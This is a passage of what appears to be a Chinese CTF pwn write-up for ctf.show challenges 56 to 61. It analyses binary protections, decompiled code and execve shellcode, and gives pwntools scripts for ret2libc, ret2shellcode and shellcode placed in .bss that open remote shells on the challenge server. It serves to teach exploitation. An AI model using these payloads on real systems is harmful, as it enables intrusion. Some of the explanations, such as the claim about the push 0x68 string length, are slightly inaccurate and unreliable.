payload=b'a'*(0x2C+4)+p32(puts_plt_adder)+p32(main)+p32(puts_got_adder)
io.sendline(payload)
puts=u32(io.recvuntil(b'\xf7')[-4:])
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
system_adder=libc_base+libc.dump("system")
bin_sh_adder=libc_base+libc.dump("str_bin_sh")
payload=b'a'*(0x2C+4)+p32(system_adder)+p32(0)+p32(bin_sh_adder)
io.sendline(payload)
io.interactive()
PWN 56
分析一下
check一下
下载附件先check一下
➜ pwn56 checksec pwn
'/home/p0ach1l/Desktop/test/pwn56/pwn'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Stripped: No
32位小端序,RELRO: NO RELRO:RELRP保护没有开启。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX disabled:数据执行保护没有开启,堆和栈上的数据可以直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。Stripped:No:符号表没有剥离。
IDA看看
拖入32位IDA中进行查看,只有一个start函数
void __noreturn start()
{
int v0; // eax
char v1[10]; // [esp-Ch] [ebp-Ch] BYREF
__int16 v2; // [esp-2h] [ebp-2h]
v2 = 0;
strcpy(v1, "/bin///sh");
v0 = sys_execve(v1, 0, 0);
}
很明显直接给了一个shell,连接题目环境就能获取flag,这道题目主要是为了让我们了解一下shellcode。查看函数对应的汇编代码
push 0x68
push 0x732F2F2F
push 0x6E69622F
mov ebx, esp
xor ecx, ecx
xor edx, edx
push 0xB
pop eax
int 0x80
这段代码是x86汇编代码,用于在Linux系统上执行一个系统调用来执行execve("/bin/sh", NULL, NULL) 。
push 0x68
这行代码将十六进制值0x68(104的十进制表示)压入栈中。这是为了将后续的字符串/bin/sh的长度(11个字符)放入栈中,以便后续使用。
push 0x732F2F2F
这行代码将十六进制值0x732F2F2F压入栈中。这是字符串"/bin/sh"的前半部分字符的逆序表示,即sh//。因为x86架构是小端字节序的,字符串需要以逆序方式存储在内存中。
push 0x6E69622F
这行代码将十六进制值0x6E69622F压入栈中。这是字符串 "/bin/sh" 的后半部分字符的逆序表示,即/bin。
mov ebx, esp
这行代码将栈顶的地址(即字符串"/bin/sh"的起始地址)复制给寄存器 ebx。 ebx寄存器将用作execve系统调用的第一个参数,即要执行的可执行文件的路径。
xor ecx, ecx
xor edx, edx
这两行代码使用异或操作将ecx和edx寄存器的值设置为零。ecx和 edx分别将用作execve系统调用的第二个和第三个参数,即命令行参数和环境变量。在此情况下,我们将它们设置为NULL,表示没有命令行参数和环境变量。
push 0xB
pop eax
这两行代码将值11(0xb)压入栈中,然后从栈中弹出到寄存器eax 。eax寄存器将用作系统调用号,11表示execve系统调用的系统调用号。
int 0x80
这行代码触发中断0x80,这是Linux系统中用于执行系统调用的中断指令。通过设置适当的寄存器值(eax、ebx、ecx、edx),int 0x80指令将执行execve("/bin/sh", NULL, NULL)系统调用,从而启动一个新的shell进程。
/bin的逆序表示为什么是0x6E69622F?
这里表示字符的话需要先转换位ASCLL码,使用16进制表示的是
0x2F 0x62 0x69 0x6E
/ b i n
又因为这是x86架构,x86架构是小端序,数据的低字节存到内存低地址,高字节存到内存高地址。栈的生长方向是高地址→低地址,当我们连续push4字节的十六进制数时,最终栈中会按后 push 的数据在低地址、先 push 的在高地址排列,刚好和小端序配合,拼出正常的字符串。所以这里的字符串进行倒序即先将n存入栈中。
payload及获取flag
不使用脚本直接nc也可以,使用脚本也可以,很简单
from pwn import *
io=remote("pwn.challenge.ctf.show",28138)
io.interactive()
PWN 57
分析一下
check一下
下载附件先check一下,
➜ pwn57 checksec pwn
'/home/p0ach1l/Desktop/test/pwn57/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
Stripped: No
64小端序,RELRO: NO RELRO:RELRP保护没有开启。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX unknown - GNU_STACK missing:文件没有GNU_STACK程序头,数据可以不可以执行处于未知状态。PIE:No PIE (0x400000):地址随机化没有开启。Stack:Executable:栈内存具有执行权限。Stripped:No:符号表没有剥离。
IDA看看
拖入64位IDA中进行查看,依旧只有一个函数
void __noreturn start()
{
__asm { syscall; LINUX - }
}
触发64位Linux系统调用的底层入口,核心动作是执行 syscall,且不会返回。没有太看明白这个函数做了什么,这个时候依旧去看它的汇编代码
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx, 68732F2F6E69622Fh
push rbx
push rsp
pop rdi
mov al, 3Bh
syscall
这里的68732F2F6E69622F转换为字符串是hs//nib/,依旧是倒序的,转换一下
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx, '/bin//sh'
push rbx
push rsp
pop rdi
mov al, 59
syscall
这段代码是x86-64汇编语言的代码,用于在Linux系统上执行 execve("/bin/sh",NULL,NULL)。
push rax
将rax寄存器的值(通常用于存放函数返回值)压入栈中。这里的目的是保留rax的值,以便后续使用。
xor rdx, rdx
xor rsi, rsi
通过异或的操作将rdx和rsi寄存器的值设置为0,后面将会分别作为execve系统调用函数的第二和第三个参数,即环境变量和命令行参数。我们将它们设置为NULL,表示没有环境变量和命令行参数。
mov rbx, '/bin//sh'
将字符串'/bin//sh'的地址赋值给rbx的寄存器,字符串'/bin//sh'是我们要执行的可执行文件的路径。在x86-64汇编中,字符串被当作地址处理。
(注:这里的/bin//sh是倒装的为了方便,我这里把它换过来了,至于为什么是倒装的上面解释过这里就不在重复了)。
push rbx
将rbx寄存器的值(字符串'/bin//sh'的地址)压入栈中。这是为了将可执行文件路径传递给execve系统调用的第一个参数。
push rsp
pop rdi
将栈顶的地址(即字符串'/bin//sh'的地址)弹出到rdi寄存器。 rdi寄存器将用作execve系统调用的第一个参数,即可执行文件路径。
mov al, 59
将al寄存器设置为值59,59是execve系统调用的系统调用号。
syscall
触发系统调用,通过设置寄存器的值,syscall指令将执行execve("/bin/sh",NULL,NULL)系统调用,来启动一个新的shell进程。
payload及获取flag
题目连接就会直接给shell,直接获取即可,使用脚本也可以
from pwn import *
io=remote("pwn.challenge.ctf.show",28293)
io.interactive()
PWN 58
分析一下
check一下
下载附件先check一下看看
➜ pwn58 checksec pwn
'/home/p0ach1l/Desktop/test/pwn58/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX unknown - GNU_STACK missing:文件没有GNU_STACK程序头,数据可以不可以执行处于未知状态。PIE: No PIE (0x8048000):地址随机化没有开启。Stack:Executable:栈内存具有执行权限。RWX:Has RWX segments:程序中存在可读可写可执行的段。Stripped:No:符号表没有剥离。
IDA看看
拖入32位IDA进行查看,发现无法进行反编译,报错显示80486E0调用分析失败,直接看汇编代码吧
main proc near
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0A0h
call __x86_get_pc_thunk_bx
add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
mov eax, ds:(stdout_ptr - 804A000h)[ebx]
mov eax, [eax]
push 0
push 2
push 0
push eax
call _setvbuf
add esp, 10h
call _getegid
mov [ebp+var_C], eax
sub esp, 4
push [ebp+var_C]
push [ebp+var_C]
push [ebp+var_C]
call _setresgid
add esp, 10h
call logo
sub esp, 0Ch
lea eax, (aJustVeryEasyRe - 804A000h)[ebx]
push eax
call _puts
add esp, 10h
sub esp, 0Ch
lea eax, (aAttachIt - 804A000h)[ebx]
push eax
call _puts
add esp, 10h
sub esp, 0Ch
lea eax, [ebp+s]
push eax
call ctfshow
add esp, 10h
lea eax, [ebp+s]
call eax
mov eax, 0
lea esp, [ebp-8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx-4]
retn
main endp
大致看一下能看出来,跟之前的一样先调用logo函数再调用ctfshow函数,编译失败的原因是.text:080486E0 call eax这是一个动态的间接调用,IDA无法在静态分析时确定目标地址。按U取消当前定义,接着就可以正常进行反编译了。或者点击其他函数按在进行反汇编
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[148]; // [esp+0h] [ebp-A0h] BYREF
__gid_t v5; // [esp+94h] [ebp-Ch]
int *p_argc; // [esp+98h] [ebp-8h]
p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
v5 = getegid();
setresgid(v5, v5, v5);
logo();
puts("Just very easy ret2shellcode&&32bit");
puts("Attach it!");
ctfshow(s);
JUMPOUT(0x80486E0);
}
可以看到main函数最后是JUMPOUT(0x80486E0);是 Hex-Rays 反编译器对call eax指令的特殊表示,意味着程序跳转到一个动态计算的地址执行。看反编译出来的结果跟我们之前分析的差不多,主要就是打印logo以及提示Use shellcode to get shell!:使用shellcode来获取shell。接着使用puts函数输出Just very easy ret2shellcode&&32bit和Attach it!,接着调用ctfshow函数处理s。s是一个起始地址距离栈基址ebp偏移了0xA0个字节大小为148字节的字符数组。
跟进分析一下ctfshow函数
int __cdecl ctfshow(char *s)
{
gets(s);
return puts(s);
}
使用gets函数向s写入数据,gets函数不会验证大小,明显的栈溢出,接着返回并使用puts函数输出s。接着看看有没有后门函数存在,没有发现后门函数看一下ctfshow函数的汇编代码
.text:08048516 ; __unwind {
.text:08048516 push ebp
.text:08048517 mov ebp, esp
.text:08048519 push ebx
.text:0804851A sub esp, 4
.text:0804851D call __x86_get_pc_thunk_bx
.text:08048522 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08048528 sub esp, 0Ch
.text:0804852B push [ebp+s] ; s
.text:0804852E call _gets
.text:08048533 add esp, 10h
.text:08048536 sub esp, 0Ch
.text:08048539 push [ebp+s] ; s
.text:0804853C call _puts
.text:08048541 add esp, 10h
.text:08048544 nop
.text:08048545 mov ebx, [ebp+var_4]
.text:08048548 leave
.text:08048549 retn
.text:08048549 ; } // starts at 8048516
.text:08048549 ctfshow endp
可以看到对gets函数的调用,参数对应的是[ebp+s]的地址,返回地址上一栈内存单元处,对应主函数中,我们可以看到:
lea eax, [ebp+s]
push eax
call ctfshow
add esp, 10h
lea eax, [ebp+s]
call eax
gets函数写入的地址即为[ebp+s]对应的地址,后面lea eax, [ebp+s]将将[ebp+s]地址加载到eax寄存器中。接着call eax调用eax寄存器指向的地址(也就是[ebp+s]地址)执行。所以我们只要输入shellcode,函数便会调用执行。
payload及获取flag
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io=remote("pwn.challenge.ctf.show",28200)
payload=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
PWN 59
分析一下
check一下
下载附件先check一下
➜ pwn59 checksec pwn
'/home/p0ach1l/Desktop/test/pwn59/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
64位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX unknown - GNU_STACK missing:文件没有GNU_STACK程序头,数据可以不可以执行处于未知状态。PIE: No PIE (0x400000):地址随机化没有开启。Stack:Executable:栈内存具有执行权限。RWX:Has RWX segments:程序中存在可读可写可执行的段。Stripped:No:符号表没有剥离。
IDA看看
拖入64位IDA中进行查看,直接依旧无法直接反编译,显示4006F9:调用分析失败,先看看反汇编吧
main proc near
push rbp
mov rbp, rsp
sub rsp, 0B0h
mov [rbp+var_A4], edi
mov [rbp+var_B0], rsi
mov rax, cs:__bss_start
mov ecx, 0
mov edx, 2
mov esi, 0
mov rdi, rax
call _setvbuf
mov eax, 0
call logo
lea rdi, aJustVeryEasyRe
call _puts
lea rdi, aAttachIt
call _puts
lea rax, [rbp+var_A0]
mov rdi, rax
call ctfshow
lea rdx, [rbp+var_A0]
mov eax, 0
call rdx
mov eax, 0
leave
retn
main endp
处理一下报错的call rdx,后重新进行反编译
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[160]; // [rsp+10h] [rbp-A0h] BYREF
setvbuf(_bss_start, 0LL, 2, 0LL);
logo();
puts("Just very easy ret2shellcode&&64bit");
puts("Attach it!");
ctfshow(v4);
JUMPOUT(0x4006F9LL);
}
定义了一个大小为160字节的v4,起始地址距离栈基址rbp偏移了0xA0个字节,接着打印logo,并输出提示信息Use shellcode to get shell!:使用shellcode来获取shell,接着使用puts函数输出Just very easy ret2shellcode&&64bit以及Attach it!。接着使用ctfshow函数处理v4,最后依旧是JUMPOUT(0x4006F9LL);
接着跟进分析一下ctfshow函数
int __fastcall ctfshow(const char *a1)
{
gets(a1);
return puts(a1);
}
使用gets函数读取输入写入到a1,接着返回a1,这里的a1就是之前的v4。看一下汇编代码
.text:00000000004005B7 push rbp
.text:00000000004005B8 mov rbp, rsp
.text:00000000004005BB sub rsp, 10h
.text:00000000004005BF mov [rbp+s], rdi
.text:00000000004005C3 mov rax, [rbp+s]
.text:00000000004005C7 mov rdi, rax
.text:00000000004005CA mov eax, 0
.text:00000000004005CF call _gets
.text:00000000004005D4 mov rax, [rbp+s]
.text:00000000004005D8 mov rdi, rax ; s
.text:00000000004005DB call _puts
.text:00000000004005E0 nop
.text:00000000004005E1 leave
.text:00000000004005E2 retn
.text:00000000004005E2 ; } // starts at 4005B7
.text:00000000004005E2 ctfshow endp
可以看到gets函数的调用,后面会将[rbp+s]作为gets函数和puts函数的参数,返回的话还是回到main函数,跟进main函数的汇编代码
lea rax, [rbp+var_A0]
mov rdi, rax
call ctfshow
lea rdx, [rbp+var_A0]
mov eax, 0
call rdx
[rbp+s]对应这里的[rbp+var_A0],接着call rdx调用rdx寄存器指向的地址(也就是[rbp+s]地址)执行。所以我们只要输入shellcode,函数便会调用执行。
payload及获取flag
栈上数据可以执行,直接使用asm(shellcraft.sh())生成shellcode即可
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote("pwn.challenge.ctf.show",28201)
payload=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
这里要明确写出系统的架构,否则使用asm(shellcraft.sh())生成的shellcode会因为不适配而无法正常获取shell。
PWN 60
分析一下
check一下
下载附件先check一下
➜ pwn60 checksec pwn
'/home/p0ach1l/Desktop/test/pwn60/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes
32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX unknown - GNU_STACK missing:文件没有GNU_STACK程序头,数据可以不可以执行处于未知状态。PIE: No PIE (0x8048000):地址随机化没有开启。Stack:Executable:栈内存具有执行权限。RWX:Has RWX segments:程序中存在可读可写可执行的段。Stripped:No:符号表没有剥离。Debuginfo:Yes:表示二进制文件中包含了调试信息。
IDA看看
拖入64位IDA中进行查看,先看看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshow-pwn can u pwn me here!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("See you ~");
return 0;
}
定义了一个大小为100字节的字符数组s,起始地址距离栈基址ebp偏移了0x64个字节,接着设置标准流缓冲模式,使用puts函数输出CTFshow-pwn can u pwn me here!!:CTFshow-pwn你能在这里pwn我吗!!,接着使用gets函数向从输入向s写入数据,很明显的栈溢出,使用strncpy将s中的0x64个字节复制到buf2缓冲区中,接着使用printf函数输出See you ~。跟进一下
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends
.bss:0804A080
可以看到buf2在bss段,使用gdb调试一下看看bss段的权限,
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/ctfshow/Desktop/910/pwn
0x8049000 0x804a000 r-xp 1000 0 /home/ctfshow/Desktop/910/pwn
0x804a000 0x804b000 rwxp 1000 1000 /home/ctfshow/Desktop/910/pwn
0x804b000 0x806d000 rwxp 22000 0 [heap]
0xf7dd4000 0xf7fa9000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7fa9000 0xf7faa000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7faa000 0xf7fac000 r-xp 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fac000 0xf7fad000 rwxp 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fad000 0xf7fb0000 rwxp 3000 0
0xf7fcf000 0xf7fd1000 rwxp 2000 0
0xf7fd1000 0xf7fd4000 r--p 3000 0 [vvar]
0xf7fd4000 0xf7fd6000 r-xp 2000 0 [vdso]
0xf7fd6000 0xf7ffc000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
可以看到bss段可读可写可执行,我们现在要做的就是使用栈溢出覆盖到eip指令指针寄存器,后面直接跟上bss段使其执行我们写入bss段的shellcode,使用gdb确定一下偏移。
先设置一个断点,接着使用cyclic生成一个超长的字符串,然后看此时eip寄存器中的值来计算偏移。
cyclic 200;
接着在gdb中运行程序,输入我们生成的字符串,查看此时的寄存器
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────
EAX 0x0
EBX 0x0
ECX 0x9
EDX 0xf7fad890 (_IO_stdfile_1_lock) ◂— 0
EDI 0x0
ESI 0xf7fac000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
EBP 0x62616163 ('caab')
ESP 0xffffcea0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
EIP 0x62616164 ('daab')
接着计算偏移量
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x62616164
112
pwndbg>
得出偏移量为112。
payload及获取flag
首先我们需要将shellcode先写入buf2,在用a填充到112个字节,这里使用ljust进行左对齐,会在末尾加a补齐到112个字节。
from pwn import *
io=remote("pwn.challenge.ctf.show",28177)
buf_adder=0x804A080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,b'a')+p32(buf_adder)
io.sendline(payload)
io.interactive()
运行即可成功获取shell。
PWN 61
分析一下
check一下
下载附件先check一下
➜ pwn61 checksec pwn
'/home/p0ach1l/Desktop/test/pwn61/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
64位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX unknown - GNU_STACK missing:文件没有GNU_STACK程序头,数据可以不可以执行处于未知状态。PIE: PIE enabled:地址随机化开启。Stack:Executable:栈内存具有执行权限。RWX:Has RWX segments:程序中存在可读可写可执行的段。Stripped:No:符号表没有剥离。
IDA看看
拖入64位IDA中进行查看, 先看看main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
__int64 v5[2]; // [rsp+0h] [rbp-10h] BYREF
v5[0] = 0LL;
v5[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", v5);
puts("Maybe it's useful ! But how to use it?");
gets(v5);
return 0;
}
定义了一个文件变量v3,定义了一个包含两个int类型元素的数组v5,将数组v5中的两个元素初始化为0,接着进行标准I/O缓冲的设置,打印logo函数,接着使用puts函数输出Welcome to CTFshow!,接着使用printf输出What's this : [%p] ?\n,这里的%p会显示为v5的地址并输出,因为程序开启了PIE(地址随机化),也就是每次代码的地址都不固定,会进行变动。接着使用puts函数输出Maybe it's useful ! But how to use it?:它可能是有用的,但是如何使用它。接着使用gets函数向v5写入数据,明显存在栈溢出。查看一下其他函数,没有什么有用信息,接着看一下main函数的汇编代码
main proc near
push rbp
mov rbp, rsp
sub rsp, 10h
mov [rbp+var_10], 0
mov [rbp+var_8], 0
mov rax, cs:__bss_start
mov ecx, 0
mov edx, 1
mov esi, 0
mov rdi, rax
call _setvbuf
mov eax, 0
call logo
lea rdi, aWelcomeToCtfsh
call _puts
lea rax, [rbp+var_10]
mov rsi, rax
lea rdi, format
mov eax, 0
call _printf
lea rdi, aMaybeItSUseful
call _puts
lea rax, [rbp+var_10]
mov rdi, rax
mov eax, 0
call _gets
mov eax, 0
leave
retn
main endp
leave可以等价于
mov rsp, rbp
pop rbp
会释放栈空间,
汇编代码中栈帧的关键操作:
push rbp ; 1. 保存上一层函数的BP(记为“old_rbp”)到栈中
mov rbp, rsp ; 2. 用当前SP作为当前函数的BP(栈基址固定)
sub rsp, 10h ; 3. 分配16字节(0x10)栈空间,用于存储局部变量v5[2]
此时的栈布局:
| 栈地址(相对栈基址rbp) |
存储内容 |
说明 |
| [rbp] |
old_rbp(上一层函数的rbp) |
由 push rbp 保存 |
| [rbp-8] |
v5[1](局部变量第2个元素) |
64 位系统中,每个元素 8 字节 |
| [rbp-16] |
v5[0](局部变量第1个元素) |
64 位系统中,每个元素 8 字节两个局部变量总共占用0x10也就是16个字节 |
| [rsp] |
指向v5[0](rbp-16) |
rsp初始在栈顶(局部变量最低地址) |
当leave执行时分为两步,第一步 mov rsp, rbp:rsp直接跳到rbp的位置(此时rsp指向 old_rbp);原本v5所在的[rbp-16, rbp-1]区域,现在处于rsp之下;第二步pop rbp把old_rbp弹回rbp寄存器,rsp再向上移动8字节
看一下我们的shellcode,使用shellcraft.sh()生成(注:指定架构)
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
可以看到我们的shellcode对rsp寄存器进行了操作,所以leave函数会对我们的shellcode造成影响。如何摆脱leave的影响呢?
由上面的栈分析我们可以知道v5区域([rbp-16, rbp-1])被释放,后续shellcode执行时的push操作会覆盖这里,所以v5区域不能存放shellcode,old_rbp区域([rbp])被pop rbp读取,覆盖会导致rbp异常,所以v5后8字节(old_rbp)不能放 shellcode;最终rsp指向返回地址([rbp+8]),这里需要存shellcode的地址,所以返回地址区(8 字节)也不能放shellcode;那么最终shellcode的地址也就是v5起始地址后的16(v5区域的大小)+8(old_rbp的8个字节)+8(返回地址占用的8个字节)。
payload及获取flag
from pwn import *
context(arch='amd64')
io=remote("pwn.challenge.ctf.show",28163)
shellcode=asm(shellcraft.sh())
io.recvuntil('[')
v5_str=io.recvuntil(']',drop=True)
v5_adder= int(v5_str, 16)
payload=b'a'*(0x10+8)+p64(v5_adder+32)+shellcode
io.sendline(payload)
io.interactive()
v5_adder= int(v5_str, 16)其从“十六进制字符串”转换为 “整数类型地址”。